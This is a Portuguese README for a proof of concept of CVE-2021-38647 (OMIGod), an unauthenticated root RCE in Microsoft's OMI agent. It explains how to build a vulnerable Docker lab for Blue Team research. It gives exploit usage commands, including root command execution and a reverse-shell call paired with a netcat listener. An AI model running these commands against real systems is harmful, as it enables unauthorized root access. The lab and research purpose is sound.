
OMIGod / CVE-2021-38647 POC e ambiente de demonstração
O Open Management Infrastructure (OMI, anteriormente conhecido como NanoWBEM) é um servidor de gerenciamento de código aberto de Common Interface Model (CMI), da Microsoft e do The Open Group. O OMI é um agente de software encontrado na maioria das VMs Linux do Azure, mas muitos não sabem de sua presença.
Em 14 de setembro, a Wiz Research Team publicou um artigo detalhando quatro vulnerabilidades no OMI. As vulnerabilidades são descritas como fáceis de explorar e podem permitir que invasores executem código arbitrário remotamente e façam escalonamento para root com uma única solicitação.
A CVE-2021-38647 é uma vulnerabilidade de RCE não autenticada, explorada pelo envio de uma solicitação HTTP especialmente elaborada. A CVE-2021-38647 permite que um invasor execute comandos como o usuário do agente OMI, normalmente root.
Os agentes OMI são amplamente utilizados em servidores Linux do Azure quando esses serviços estão em uso:
De acordo com a Microsoft, a maioria dos serviços do Azure que usam OMI o implantam sem expor a porta HTTP/S.
O objetivo deste projeto é criar um ambiente de demonstração de forma facilmente replicável, para que as equipes de Blue Team possam encontrar IoCs com mais facilidade. Para atingir esse objetivo, crio uma imagem docker personalizada configurada com a versão vulnerável do OMI.
Dependendo da sua configuração, isso pode exigir sudo.
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
Agora você terá o terminal root do container docker aberto. Você deve obter o endereço IP do container docker, o que pode ser feito com o comando:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
Quando isso estiver configurado, você pode tentar executar qualquer PoC. Para executar o PoC deste projeto, execute os seguintes comandos:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
O vídeo do IppSec sobre este exploit e a configuração de um ambiente semelhante - https://www.youtube.com/watch?v=TXqi1BKtcyM O ambiente configurado neste projeto é baseado no vídeo do IppSec.
PoC do horizon3ai - https://github.com/horizon3ai/CVE-2021-38647 O PoC deste projeto é baseado no PoC do horizon3ai.
Para mais detalhes, consulte o trabalho dos pesquisadores originais: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
Todas as versões do OMI abaixo da v1.6.8-1 são vulneráveis.
Foi publicada uma versão corrigida que resolve este exploit. Atualize e garanta que a versão seja 1.6.8.1 ou superior.
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.